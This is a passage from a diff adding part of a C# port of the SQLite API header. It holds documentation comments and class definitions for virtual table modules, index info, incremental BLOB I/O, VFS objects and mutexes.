)^ + ** + ** If the xEntryPoint routine encounters an error, it should make *pzErrMsg + ** point to an appropriate error message (obtained from [sqlite3_mprintf()]) + ** and return an appropriate [error code]. ^SQLite ensures that *pzErrMsg + ** is NULL before calling the xEntryPoint(). ^SQLite will invoke + ** [sqlite3_free()] on *pzErrMsg after xEntryPoint() returns. ^If any + ** xEntryPoint() returns an error, the [sqlite3_open()], [sqlite3_open16()], + ** or [sqlite3_open_v2()] call that provoked the xEntryPoint() will fail. + ** + ** ^Calling sqlite3_auto_extension(X) with an entry point X that is already + ** on the list of automatic extensions is a harmless no-op. ^No entry point + ** will be called more than once for each database connection that is opened. + ** + ** See also: [sqlite3_reset_auto_extension()]. + */ + //SQLITE_API int sqlite3_auto_extension(void (*xEntryPoint)(void)); + + /* + ** CAPI3REF: Reset Automatic Extension Loading + ** + ** ^This interface disables all automatic extensions previously + ** registered using [sqlite3_auto_extension()]. + */ + //SQLITE_API void sqlite3_reset_auto_extension(void); + + /* + ** The interface to the virtual-table mechanism is currently considered + ** to be experimental. The interface might change in incompatible ways. + ** If this is a problem for you, do not use the interface at this time. + ** + ** When the virtual-table mechanism stabilizes, we will declare the + ** interface fixed, support it indefinitely, and remove this comment. + */ + + /* + ** Structures used by the virtual table interface + */ + //typedef struct sqlite3_vtab sqlite3_vtab; + //typedef struct sqlite3_index_info sqlite3_index_info; + //typedef struct sqlite3_vtab_cursor sqlite3_vtab_cursor; + //typedef struct sqlite3_module sqlite3_module; + + /* + ** CAPI3REF: Virtual Table Object + ** KEYWORDS: sqlite3_module {virtual table module} + ** + ** This structure, sometimes called a "virtual table module", + ** defines the implementation of a [virtual tables]. + ** This structure consists mostly of methods for the module. + ** + ** ^A virtual table module is created by filling in a persistent + ** instance of this structure and passing a pointer to that instance + ** to [sqlite3_create_module()] or [sqlite3_create_module_v2()]. + ** ^The registration remains valid until it is replaced by a different + ** module or until the [database connection] closes. The content + ** of this structure must not change while it is registered with + ** any database connection. + */ + //struct sqlite3_module { + // int iVersion; + // int (*xCreate)(sqlite3*, object *pAux, + // int argc, string[] argv, + // sqlite3_vtab **ppVTab, char*); + // int (*xConnect)(sqlite3*, object *pAux, + // int argc, string[] argv, + // sqlite3_vtab **ppVTab, char*); + // int (*xBestIndex)(sqlite3_vtab *pVTab, sqlite3_index_info); + // int (*xDisconnect)(sqlite3_vtab *pVTab); + // int (*xDestroy)(sqlite3_vtab *pVTab); + // int (*xOpen)(sqlite3_vtab *pVTab, sqlite3_vtab_cursor **ppCursor); + // int (*xClose)(sqlite3_vtab_cursor); + // int (*xFilter)(sqlite3_vtab_cursor*, int idxNum, string idxStr, + // int argc, sqlite3_value **argv); + // int (*xNext)(sqlite3_vtab_cursor); + // int (*xEof)(sqlite3_vtab_cursor); + // int (*xColumn)(sqlite3_vtab_cursor*, sqlite3_context*, int); + // int (*xRowid)(sqlite3_vtab_cursor*, sqlite3_int64 *pRowid); + // int (*xUpdate)(sqlite3_vtab *, int, sqlite3_value **, sqlite3_int64 ); + // int (*xBegin)(sqlite3_vtab *pVTab); + // int (*xSync)(sqlite3_vtab *pVTab); + // int (*xCommit)(sqlite3_vtab *pVTab); + // int (*xRollback)(sqlite3_vtab *pVTab); + // int (*xFindFunction)(sqlite3_vtab *pVtab, int nArg, string zName, + // void (**pxFunc)(sqlite3_context*,int,sqlite3_value*), + // void **ppArg); + // int (*xRename)(sqlite3_vtab *pVtab, string zNew); + ///* The methods above are in version 1 of the sqlite_module object. Those + //** below are for version 2 and greater. */ + //int (*xSavepoint)(sqlite3_vtab *pVTab, int); + //int (*xRelease)(sqlite3_vtab *pVTab, int); + //int (*xRollbackTo)(sqlite3_vtab *pVTab, int); + //}; + // MINIMAL STRUCTURE + public class sqlite3_module + { + public int iVersion; + public smdxCreateConnect xCreate; + public smdxCreateConnect xConnect; + public smdxBestIndex xBestIndex; + public smdxDisconnect xDisconnect; + public smdxDestroy xDestroy; + public smdxOpen xOpen; + public smdxClose xClose; + public smdxFilter xFilter; + public smdxNext xNext; + public smdxEof xEof; + public smdxColumn xColumn; + public smdxRowid xRowid; + public smdxUpdate xUpdate; + public smdxFunction xBegin; + public smdxFunction xSync; + public smdxFunction xCommit; + public smdxFunction xRollback; + public smdxFindFunction xFindFunction; + public smdxRename xRename; + /* The methods above are in version 1 of the sqlite_module object. Those + ** below are for version 2 and greater. */ + public smdxFunctionArg xSavepoint; + public smdxFunctionArg xRelease; + public smdxFunctionArg xRollbackTo; + + //Version 1 + public sqlite3_module( + int iVersion, + smdxCreateConnect xCreate, + smdxCreateConnect xConnect, + smdxBestIndex xBestIndex, + smdxDisconnect xDisconnect, + smdxDestroy xDestroy, + smdxOpen xOpen, + smdxClose xClose, + smdxFilter xFilter, + smdxNext xNext, + smdxEof xEof, + smdxColumn xColumn, + smdxRowid xRowid, + smdxUpdate xUpdate, + smdxFunction xBegin, + smdxFunction xSync, + smdxFunction xCommit, + smdxFunction xRollback, + smdxFindFunction xFindFunction, + smdxRename xRename ) + { + this.iVersion = iVersion; + this.xCreate = xCreate; + this.xConnect = xConnect; + this.xBestIndex = xBestIndex; + this.xDisconnect = xDisconnect; + this.xDestroy = xDestroy; + this.xOpen = xOpen; + this.xClose = xClose; + this.xFilter = xFilter; + this.xNext = xNext; + this.xEof = xEof; + this.xColumn = xColumn; + this.xRowid = xRowid; + this.xUpdate = xUpdate; + this.xBegin = xBegin; + this.xSync = xSync; + this.xCommit = xCommit; + this.xRollback = xRollback; + this.xFindFunction = xFindFunction; + this.xRename = xRename; + } + + //Version 2 + public sqlite3_module( + int iVersion, + smdxCreateConnect xCreate, + smdxCreateConnect xConnect, + smdxBestIndex xBestIndex, + smdxDisconnect xDisconnect, + smdxDestroy xDestroy, + smdxOpen xOpen, + smdxClose xClose, + smdxFilter xFilter, + smdxNext xNext, + smdxEof xEof, + smdxColumn xColumn, + smdxRowid xRowid, + smdxUpdate xUpdate, + smdxFunction xBegin, + smdxFunction xSync, + smdxFunction xCommit, + smdxFunction xRollback, + smdxFindFunction xFindFunction, + smdxRename xRename, + /* The methods above are in version 1 of the sqlite_module object. Those + ** below are for version 2 and greater. */ + smdxFunctionArg xSavepoint, + smdxFunctionArg xRelease, + smdxFunctionArg xRollbackTo + ) + { + this.iVersion = iVersion; + this.xCreate = xCreate; + this.xConnect = xConnect; + this.xBestIndex = xBestIndex; + this.xDisconnect = xDisconnect; + this.xDestroy = xDestroy; + this.xOpen = xOpen; + this.xClose = xClose; + this.xFilter = xFilter; + this.xNext = xNext; + this.xEof = xEof; + this.xColumn = xColumn; + this.xRowid = xRowid; + this.xUpdate = xUpdate; + this.xBegin = xBegin; + this.xSync = xSync; + this.xCommit = xCommit; + this.xRollback = xRollback; + this.xFindFunction = xFindFunction; + this.xRename = xRename; + this.xSavepoint = xSavepoint; + this.xRelease = xRelease; + this.xRollbackTo = xRollbackTo; + } + } + + + /* + ** CAPI3REF: Virtual Table Indexing Information + ** KEYWORDS: sqlite3_index_info + ** + ** The sqlite3_index_info structure and its substructures is used as part + ** of the [virtual table] interface to + ** pass information into and receive the reply from the [xBestIndex] + ** method of a [virtual table module]. The fields under **Inputs** are the + ** inputs to xBestIndex and are read-only. xBestIndex inserts its + ** results into the **Outputs** fields. + ** + ** ^(The aConstraint[] array records WHERE clause constraints of the form: + ** + **
column OP expr
+ ** + ** where OP is =, <, <=, >, or >=.)^ ^(The particular operator is + ** stored in aConstraint[].op using one of the + ** [SQLITE_INDEX_CONSTRAINT_EQ | SQLITE_INDEX_CONSTRAINT_ values].)^ + ** ^(The index of the column is stored in + ** aConstraint[].iColumn.)^ ^(aConstraint[].usable is TRUE if the + ** expr on the right-hand side can be evaluated (and thus the constraint + ** is usable) and false if it cannot.)^ + ** + ** ^The optimizer automatically inverts terms of the form "expr OP column" + ** and makes other simplifications to the WHERE clause in an attempt to + ** get as many WHERE clause terms into the form shown above as possible. + ** ^The aConstraint[] array only reports WHERE clause terms that are + ** relevant to the particular virtual table being queried. + ** + ** ^Information about the ORDER BY clause is stored in aOrderBy[]. + ** ^Each term of aOrderBy records a column of the ORDER BY clause. + ** + ** The [xBestIndex] method must fill aConstraintUsage[] with information + ** about what parameters to pass to xFilter. ^If argvIndex>0 then + ** the right-hand side of the corresponding aConstraint[] is evaluated + ** and becomes the argvIndex-th entry in argv. ^(If aConstraintUsage[].omit + ** is true, then the constraint is assumed to be fully handled by the + ** virtual table and is not checked again by SQLite.)^ + ** + ** ^The idxNum and idxPtr values are recorded and passed into the + ** [xFilter] method. + ** ^[sqlite3_free()] is used to free idxPtr if and only if + ** needToFreeIdxPtr is true. + ** + ** ^The orderByConsumed means that output from [xFilter]/[xNext] will occur in + ** the correct order to satisfy the ORDER BY clause so that no separate + ** sorting step is required. + ** + ** ^The estimatedCost value is an estimate of the cost of doing the + ** particular lookup. A full scan of a table with N entries should have + ** a cost of N. A binary search of a table of N entries should have a + ** cost of approximately log(N). + */ + //struct sqlite3_index_info { + // /* Inputs */ + // int nConstraint; /* Number of entries in aConstraint */ + // struct sqlite3_index_constraint { + // int iColumn; /* Column on left-hand side of constraint */ + // unsigned char op; /* Constraint operator */ + // unsigned char usable; /* True if this constraint is usable */ + // int iTermOffset; /* Used internally - xBestIndex should ignore */ + // } *aConstraint; /* Table of WHERE clause constraints */ + // int nOrderBy; /* Number of terms in the ORDER BY clause */ + // struct sqlite3_index_orderby { + // int iColumn; /* Column number */ + // unsigned char desc; /* True for DESC. False for ASC. */ + // } *aOrderBy; /* The ORDER BY clause */ + // /* Outputs */ + // struct sqlite3_index_constraint_usage { + // int argvIndex; /* if >0, constraint is part of argv to xFilter */ + // unsigned char omit; /* Do not code a test for this constraint */ + // } *aConstraintUsage; + // int idxNum; /* Number used to identify the index */ + // char *idxStr; /* String, possibly obtained from sqlite3_malloc */ + // int needToFreeIdxStr; /* Free idxStr using sqlite3_free() if true */ + // int orderByConsumed; /* True if output is already ordered */ + // double estimatedCost; /* Estimated cost of using this index */ + //}; + public class sqlite3_index_constraint + { + public int iColumn; /* Column on left-hand side of constraint */ + public int op; /* Constraint operator */ + public bool usable; /* True if this constraint is usable */ + public int iTermOffset; /* Used internally - xBestIndex should ignore */ + } + public class sqlite3_index_orderby + { + public int iColumn; /* Column number */ + public bool desc; /* True for DESC. False for ASC. */ + } + public class sqlite3_index_constraint_usage + { + public int argvIndex; /* if >0, constraint is part of argv to xFilter */ + public bool omit; /* Do not code a test for this constraint */ + } + + public class sqlite3_index_info + { + /* Inputs */ + public int nConstraint; /* Number of entries in aConstraint */ + public sqlite3_index_constraint[] aConstraint; /* Table of WHERE clause constraints */ + public int nOrderBy; /* Number of terms in the ORDER BY clause */ + public sqlite3_index_orderby[] aOrderBy;/* The ORDER BY clause */ + + /* Outputs */ + + public sqlite3_index_constraint_usage[] aConstraintUsage; + public int idxNum; /* Number used to identify the index */ + public string idxStr; /* String, possibly obtained from sqlite3Malloc */ + public int needToFreeIdxStr; /* Free idxStr using sqlite3DbFree(db,) if true */ + public bool orderByConsumed; /* True if output is already ordered */ + public double estimatedCost; /* Estimated cost of using this index */ + } + + /* + ** CAPI3REF: Virtual Table Constraint Operator Codes + ** + ** These macros defined the allowed values for the + ** [sqlite3_index_info].aConstraint[].op field. Each value represents + ** an operator that is part of a constraint term in the wHERE clause of + ** a query that uses a [virtual table]. + */ + //#define SQLITE_INDEX_CONSTRAINT_EQ 2 + //#define SQLITE_INDEX_CONSTRAINT_GT 4 + //#define SQLITE_INDEX_CONSTRAINT_LE 8 + //#define SQLITE_INDEX_CONSTRAINT_LT 16 + //#define SQLITE_INDEX_CONSTRAINT_GE 32 + //#define SQLITE_INDEX_CONSTRAINT_MATCH 64 + const int SQLITE_INDEX_CONSTRAINT_EQ = 2; + const int SQLITE_INDEX_CONSTRAINT_GT = 4; + const int SQLITE_INDEX_CONSTRAINT_LE = 8; + const int SQLITE_INDEX_CONSTRAINT_LT = 16; + const int SQLITE_INDEX_CONSTRAINT_GE = 32; + const int SQLITE_INDEX_CONSTRAINT_MATCH = 64; + + /* + ** CAPI3REF: Register A Virtual Table Implementation + ** + ** ^These routines are used to register a new [virtual table module] name. + ** ^Module names must be registered before + ** creating a new [virtual table] using the module and before using a + ** preexisting [virtual table] for the module. + ** + ** ^The module name is registered on the [database connection] specified + ** by the first parameter. ^The name of the module is given by the + ** second parameter. ^The third parameter is a pointer to + ** the implementation of the [virtual table module]. ^The fourth + ** parameter is an arbitrary client data pointer that is passed through + ** into the [xCreate] and [xConnect] methods of the virtual table module + ** when a new virtual table is be being created or reinitialized. + ** + ** ^The sqlite3_create_module_v2() interface has a fifth parameter which + ** is a pointer to a destructor for the pClientData. ^SQLite will + ** invoke the destructor function (if it is not NULL) when SQLite + ** no longer needs the pClientData pointer. ^The destructor will also + ** be invoked if the call to sqlite3_create_module_v2() fails. + ** ^The sqlite3_create_module() + ** interface is equivalent to sqlite3_create_module_v2() with a NULL + ** destructor. + */ + //SQLITE_API int sqlite3_create_module( + // sqlite3 db, /* SQLite connection to register module with */ + // string zName, /* Name of the module */ + // const sqlite3_module *p, /* Methods for the module */ + // void *pClientData /* Client data for xCreate/xConnect */ + //); + //SQLITE_API int sqlite3_create_module_v2( + // sqlite3 db, /* SQLite connection to register module with */ + // string zName, /* Name of the module */ + // const sqlite3_module *p, /* Methods for the module */ + // void *pClientData, /* Client data for xCreate/xConnect */ + // void(*xDestroy)(void) /* Module destructor function */ + //); + + /* + ** CAPI3REF: Virtual Table Instance Object + ** KEYWORDS: sqlite3_vtab + ** + ** Every [virtual table module] implementation uses a subclass + ** of this object to describe a particular instance + ** of the [virtual table]. Each subclass will + ** be tailored to the specific needs of the module implementation. + ** The purpose of this superclass is to define certain fields that are + ** common to all module implementations. + ** + ** ^Virtual tables methods can set an error message by assigning a + ** string obtained from [sqlite3_mprintf()] to zErrMsg. The method should + ** take care that any prior string is freed by a call to [sqlite3_free()] + ** prior to assigning a new string to zErrMsg. ^After the error message + ** is delivered up to the client application, the string will be automatically + ** freed by sqlite3_free() and the zErrMsg field will be zeroed. + */ + //struct sqlite3_vtab { + // const sqlite3_module *pModule; /* The module for this virtual table */ + // int nRef; /* NO LONGER USED */ + // string zErrMsg; /* Error message from sqlite3_mprintf() */ + // /* Virtual table implementations will typically add additional fields */ + //}; + public class sqlite3_vtab + { + public sqlite3_module pModule; /* The module for this virtual table */ + public int nRef; /* Used internally */ + public string zErrMsg; /* Error message from sqlite3_mprintf() */ + /* Virtual table implementations will typically add additional fields */ + }; + + /* + ** CAPI3REF: Virtual Table Cursor Object + ** KEYWORDS: sqlite3_vtab_cursor {virtual table cursor} + ** + ** Every [virtual table module] implementation uses a subclass of the + ** following structure to describe cursors that point into the + ** [virtual table] and are used + ** to loop through the virtual table. Cursors are created using the + ** [sqlite3_module.xOpen | xOpen] method of the module and are destroyed + ** by the [sqlite3_module.xClose | xClose] method. Cursors are used + ** by the [xFilter], [xNext], [xEof], [xColumn], and [xRowid] methods + ** of the module. Each module implementation will define + ** the content of a cursor structure to suit its own needs. + ** + ** This superclass exists in order to define fields of the cursor that + ** are common to all implementations. + */ + //struct sqlite3_vtab_cursor { + // sqlite3_vtab *pVtab; /* Virtual table of this cursor */ + // /* Virtual table implementations will typically add additional fields */ + //}; + public class sqlite3_vtab_cursor + { + public sqlite3_vtab pVtab; /* Virtual table of this cursor */ + /* Virtual table implementations will typically add additional fields */ + }; + + /* + ** CAPI3REF: Declare The Schema Of A Virtual Table + ** + ** ^The [xCreate] and [xConnect] methods of a + ** [virtual table module] call this interface + ** to declare the format (the names and datatypes of the columns) of + ** the virtual tables they implement. + */ + //SQLITE_API int sqlite3_declare_vtab(sqlite3*, string zSQL); + + /* + ** CAPI3REF: Overload A Function For A Virtual Table + ** + ** ^(Virtual tables can provide alternative implementations of functions + ** using the [xFindFunction] method of the [virtual table module]. + ** But global versions of those functions + ** must exist in order to be overloaded.)^ + ** + ** ^(This API makes sure a global version of a function with a particular + ** name and number of parameters exists. If no such function exists + ** before this API is called, a new function is created.)^ ^The implementation + ** of the new function always causes an exception to be thrown. So + ** the new function is not good for anything by itself. Its only + ** purpose is to be a placeholder function that can be overloaded + ** by a [virtual table]. + */ + //SQLITE_API int sqlite3_overload_function(sqlite3*, string zFuncName, int nArg); + + /* + ** The interface to the virtual-table mechanism defined above (back up + ** to a comment remarkably similar to this one) is currently considered + ** to be experimental. The interface might change in incompatible ways. + ** If this is a problem for you, do not use the interface at this time. + ** + ** When the virtual-table mechanism stabilizes, we will declare the + ** interface fixed, support it indefinitely, and remove this comment. + */ + + /* + ** CAPI3REF: A Handle To An Open BLOB + ** KEYWORDS: {BLOB handle} {BLOB handles} + ** + ** An instance of this object represents an open BLOB on which + ** [sqlite3_blob_open | incremental BLOB I/O] can be performed. + ** ^Objects of this type are created by [sqlite3_blob_open()] + ** and destroyed by [sqlite3_blob_close()]. + ** ^The [sqlite3_blob_read()] and [sqlite3_blob_write()] interfaces + ** can be used to read or write small subsections of the BLOB. + ** ^The [sqlite3_blob_bytes()] interface returns the size of the BLOB in bytes. + */ + //typedef struct sqlite3_blob sqlite3_blob; + + /* + ** CAPI3REF: Open A BLOB For Incremental I/O + ** + ** ^(This interfaces opens a [BLOB handle | handle] to the BLOB located + ** in row iRow, column zColumn, table zTable in database zDb; + ** in other words, the same BLOB that would be selected by: + ** + **
+    **     SELECT zColumn FROM zDb.zTable WHERE [rowid] = iRow;
+    ** 
)^ + ** + ** ^If the flags parameter is non-zero, then the BLOB is opened for read + ** and write access. ^If it is zero, the BLOB is opened for read access. + ** ^It is not possible to open a column that is part of an index or primary + ** key for writing. ^If [foreign key constraints] are enabled, it is + ** not possible to open a column that is part of a [child key] for writing. + ** + ** ^Note that the database name is not the filename that contains + ** the database but rather the symbolic name of the database that + ** appears after the AS keyword when the database is connected using [ATTACH]. + ** ^For the main database file, the database name is "main". + ** ^For TEMP tables, the database name is "temp". + ** + ** ^(On success, [SQLITE_OK] is returned and the new [BLOB handle] is written + ** to *ppBlob. Otherwise an [error code] is returned and *ppBlob is set + ** to be a null pointer.)^ + ** ^This function sets the [database connection] error code and message + ** accessible via [sqlite3_errcode()] and [sqlite3_errmsg()] and related + ** functions. ^Note that the *ppBlob variable is always initialized in a + ** way that makes it safe to invoke [sqlite3_blob_close()] on *ppBlob + ** regardless of the success or failure of this routine. + ** + ** ^(If the row that a BLOB handle points to is modified by an + ** [UPDATE], [DELETE], or by [ON CONFLICT] side-effects + ** then the BLOB handle is marked as "expired". + ** This is true if any column of the row is changed, even a column + ** other than the one the BLOB handle is open on.)^ + ** ^Calls to [sqlite3_blob_read()] and [sqlite3_blob_write()] for + ** a expired BLOB handle fail with a return code of [SQLITE_ABORT]. + ** ^(Changes written into a BLOB prior to the BLOB expiring are not + ** rolled back by the expiration of the BLOB. Such changes will eventually + ** commit if the transaction continues to completion.)^ + ** + ** ^Use the [sqlite3_blob_bytes()] interface to determine the size of + ** the opened blob. ^The size of a blob may not be changed by this + ** interface. Use the [UPDATE] SQL command to change the size of a + ** blob. + ** + ** ^The [sqlite3_bind_zeroblob()] and [sqlite3_result_zeroblob()] interfaces + ** and the built-in [zeroblob] SQL function can be used, if desired, + ** to create an empty, zero-filled blob in which to read or write using + ** this interface. + ** + ** To avoid a resource leak, every open [BLOB handle] should eventually + ** be released by a call to [sqlite3_blob_close()]. + */ + //SQLITE_API int sqlite3_blob_open( + // sqlite3*, + // string zDb, + // string zTable, + // string zColumn, + // sqlite3_int64 iRow, + // int flags, + // sqlite3_blob **ppBlob + //); + + /* + ** CAPI3REF: Move a BLOB Handle to a New Row + ** + ** ^This function is used to move an existing blob handle so that it points + ** to a different row of the same database table. ^The new row is identified + ** by the rowid value passed as the second argument. Only the row can be + ** changed. ^The database, table and column on which the blob handle is open + ** remain the same. Moving an existing blob handle to a new row can be + ** faster than closing the existing handle and opening a new one. + ** + ** ^(The new row must meet the same criteria as for [sqlite3_blob_open()] - + ** it must exist and there must be either a blob or text value stored in + ** the nominated column.)^ ^If the new row is not present in the table, or if + ** it does not contain a blob or text value, or if another error occurs, an + ** SQLite error code is returned and the blob handle is considered aborted. + ** ^All subsequent calls to [sqlite3_blob_read()], [sqlite3_blob_write()] or + ** [sqlite3_blob_reopen()] on an aborted blob handle immediately return + ** SQLITE_ABORT. ^Calling [sqlite3_blob_bytes()] on an aborted blob handle + ** always returns zero. + ** + ** ^This function sets the database handle error code and message. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_blob_reopen(sqlite3_blob *, sqlite3_int64); + + /* + ** CAPI3REF: Close A BLOB Handle + ** + ** ^Closes an open [BLOB handle]. + ** + ** ^Closing a BLOB shall cause the current transaction to commit + ** if there are no other BLOBs, no pending prepared statements, and the + ** database connection is in [autocommit mode]. + ** ^If any writes were made to the BLOB, they might be held in cache + ** until the close operation if they will fit. + ** + ** ^(Closing the BLOB often forces the changes + ** out to disk and so if any I/O errors occur, they will likely occur + ** at the time when the BLOB is closed. Any errors that occur during + ** closing are reported as a non-zero return value.)^ + ** + ** ^(The BLOB is closed unconditionally. Even if this routine returns + ** an error code, the BLOB is still closed.)^ + ** + ** ^Calling this routine with a null pointer (such as would be returned + ** by a failed call to [sqlite3_blob_open()]) is a harmless no-op. + */ + //SQLITE_API int sqlite3_blob_close(sqlite3_blob ); + + /* + ** CAPI3REF: Return The Size Of An Open BLOB + ** + ** ^Returns the size in bytes of the BLOB accessible via the + ** successfully opened [BLOB handle] in its only argument. ^The + ** incremental blob I/O routines can only read or overwriting existing + ** blob content; they cannot change the size of a blob. + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + */ + //SQLITE_API int sqlite3_blob_bytes(sqlite3_blob ); + + /* + ** CAPI3REF: Read Data From A BLOB Incrementally + ** + ** ^(This function is used to read data from an open [BLOB handle] into a + ** caller-supplied buffer. N bytes of data are copied into buffer Z + ** from the open BLOB, starting at offset iOffset.)^ + ** + ** ^If offset iOffset is less than N bytes from the end of the BLOB, + ** [SQLITE_ERROR] is returned and no data is read. ^If N or iOffset is + ** less than zero, [SQLITE_ERROR] is returned and no data is read. + ** ^The size of the blob (and hence the maximum value of N+iOffset) + ** can be determined using the [sqlite3_blob_bytes()] interface. + ** + ** ^An attempt to read from an expired [BLOB handle] fails with an + ** error code of [SQLITE_ABORT]. + ** + ** ^(On success, sqlite3_blob_read() returns SQLITE_OK. + ** Otherwise, an [error code] or an [extended error code] is returned.)^ + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + ** + ** See also: [sqlite3_blob_write()]. + */ + //SQLITE_API int sqlite3_blob_read(sqlite3_blob *, object *Z, int N, int iOffset); + + /* + ** CAPI3REF: Write Data Into A BLOB Incrementally + ** + ** ^This function is used to write data into an open [BLOB handle] from a + ** caller-supplied buffer. ^N bytes of data are copied from the buffer Z + ** into the open BLOB, starting at offset iOffset. + ** + ** ^If the [BLOB handle] passed as the first argument was not opened for + ** writing (the flags parameter to [sqlite3_blob_open()] was zero), + ** this function returns [SQLITE_READONLY]. + ** + ** ^This function may only modify the contents of the BLOB; it is + ** not possible to increase the size of a BLOB using this API. + ** ^If offset iOffset is less than N bytes from the end of the BLOB, + ** [SQLITE_ERROR] is returned and no data is written. ^If N is + ** less than zero [SQLITE_ERROR] is returned and no data is written. + ** The size of the BLOB (and hence the maximum value of N+iOffset) + ** can be determined using the [sqlite3_blob_bytes()] interface. + ** + ** ^An attempt to write to an expired [BLOB handle] fails with an + ** error code of [SQLITE_ABORT]. ^Writes to the BLOB that occurred + ** before the [BLOB handle] expired are not rolled back by the + ** expiration of the handle, though of course those changes might + ** have been overwritten by the statement that expired the BLOB handle + ** or by other independent statements. + ** + ** ^(On success, sqlite3_blob_write() returns SQLITE_OK. + ** Otherwise, an [error code] or an [extended error code] is returned.)^ + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + ** + ** See also: [sqlite3_blob_read()]. + */ + //SQLITE_API int sqlite3_blob_write(sqlite3_blob *, string z, int n, int iOffset); + + /* + ** CAPI3REF: Virtual File System Objects + ** + ** A virtual filesystem (VFS) is an [sqlite3_vfs] object + ** that SQLite uses to interact + ** with the underlying operating system. Most SQLite builds come with a + ** single default VFS that is appropriate for the host computer. + ** New VFSes can be registered and existing VFSes can be unregistered. + ** The following interfaces are provided. + ** + ** ^The sqlite3_vfs_find() interface returns a pointer to a VFS given its name. + ** ^Names are case sensitive. + ** ^Names are zero-terminated UTF-8 strings. + ** ^If there is no match, a NULL pointer is returned. + ** ^If zVfsName is NULL then the default VFS is returned. + ** + ** ^New VFSes are registered with sqlite3_vfs_register(). + ** ^Each new VFS becomes the default VFS if the makeDflt flag is set. + ** ^The same VFS can be registered multiple times without injury. + ** ^To make an existing VFS into the default VFS, register it again + ** with the makeDflt flag set. If two different VFSes with the + ** same name are registered, the behavior is undefined. If a + ** VFS is registered with a name that is NULL or an empty string, + ** then the behavior is undefined. + ** + ** ^Unregister a VFS with the sqlite3_vfs_unregister() interface. + ** ^(If the default VFS is unregistered, another VFS is chosen as + ** the default. The choice for the new VFS is arbitrary.)^ + */ + //SQLITE_API sqlite3_vfs *sqlite3_vfs_find(string zVfsName); + //SQLITE_API int sqlite3_vfs_register(sqlite3_vfs*, int makeDflt); + //SQLITE_API int sqlite3_vfs_unregister(sqlite3_vfs); + + /* + ** CAPI3REF: Mutexes + ** + ** The SQLite core uses these routines for thread + ** synchronization. Though they are intended for internal + ** use by SQLite, code that links against SQLite is + ** permitted to use any of these routines. + ** + ** The SQLite source code contains multiple implementations + ** of these mutex routines. An appropriate implementation + ** is selected automatically at compile-time. ^(The following + ** implementations are available in the SQLite core: + ** + **
    + **
  • SQLITE_MUTEX_OS2 + **
  • SQLITE_MUTEX_PTHREAD + **
  • SQLITE_MUTEX_W32 + **
  • SQLITE_MUTEX_NOOP + **
)^ + ** + ** ^The SQLITE_MUTEX_NOOP implementation is a set of routines + ** that does no real locking and is appropriate for use in + ** a single-threaded application. ^The SQLITE_MUTEX_OS2, + ** SQLITE_MUTEX_PTHREAD, and SQLITE_MUTEX_W32 implementations + ** are appropriate for use on OS/2, Unix, and Windows. + ** + ** ^(If SQLite is compiled with the SQLITE_MUTEX_APPDEF preprocessor + ** macro defined (with "-DSQLITE_MUTEX_APPDEF=1"), then no mutex + ** implementation is included with the library. In this case the + ** application must supply a custom mutex implementation using the + ** [SQLITE_CONFIG_MUTEX] option of the sqlite3_config() function + ** before calling sqlite3_initialize() or any other public sqlite3_ + ** function that calls sqlite3_initialize().)^ + ** + ** ^The sqlite3_mutex_alloc() routine allocates a new + ** mutex and returns a pointer to it. ^If it returns NULL + ** that means that a mutex could not be allocated. ^SQLite + ** will unwind its stack and return an error. ^(The argument + ** to sqlite3_mutex_alloc() is one of these integer constants: + ** + **
    + **
  • SQLITE_MUTEX_FAST + **
  • SQLITE_MUTEX_RECURSIVE + **
  • SQLITE_MUTEX_STATIC_MASTER + **
  • SQLITE_MUTEX_STATIC_MEM + **
  • SQLITE_MUTEX_STATIC_MEM2 + **
  • SQLITE_MUTEX_STATIC_PRNG + **
  • SQLITE_MUTEX_STATIC_LRU + **
  • SQLITE_MUTEX_STATIC_LRU2 + **
)^ + ** + ** ^The first two constants (SQLITE_MUTEX_FAST and SQLITE_MUTEX_RECURSIVE) + ** cause sqlite3_mutex_alloc() to create + ** a new mutex. ^The new mutex is recursive when SQLITE_MUTEX_RECURSIVE + ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. + ** The mutex implementation does not need to make a distinction + ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does + ** not want to. ^SQLite will only request a recursive mutex in + ** cases where it really needs one. ^If a faster non-recursive mutex + ** implementation is available on the host platform, the mutex subsystem + ** might return such a mutex in response to SQLITE_MUTEX_FAST. + ** + ** ^The other allowed parameters to sqlite3_mutex_alloc() (anything other + ** than SQLITE_MUTEX_FAST and SQLITE_MUTEX_RECURSIVE) each return + ** a pointer to a static preexisting mutex. ^Six static mutexes are + ** used by the current version of SQLite. Future versions of SQLite + ** may add additional static mutexes. Static mutexes are for internal + ** use by SQLite only. Applications that use SQLite mutexes should + ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or + ** SQLITE_MUTEX_RECURSIVE. + ** + ** ^Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST + ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() + ** returns a different mutex on every call. ^But for the static + ** mutex types, the same mutex is returned on every call that has + ** the same type number. + ** + ** ^The sqlite3_mutex_free() routine deallocates a previously + ** allocated dynamic mutex. ^SQLite is careful to deallocate every + ** dynamic mutex that it allocates. The dynamic mutexes must not be in + ** use when they are deallocated. Attempting to deallocate a static + ** mutex results in undefined behavior. ^SQLite never deallocates + ** a static mutex. + ** + ** ^The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt + ** to enter a mutex. ^If another thread is already within the mutex, + ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return + ** SQLITE_BUSY. ^The sqlite3_mutex_try() interface returns [SQLITE_OK] + ** upon successful entry. ^(Mutexes created using + ** SQLITE_MUTEX_RECURSIVE can be entered multiple times by the same thread. + ** In such cases the, + ** mutex must be exited an equal number of times before another thread + ** can enter.)^ ^(If the same thread tries to enter any other + ** kind of 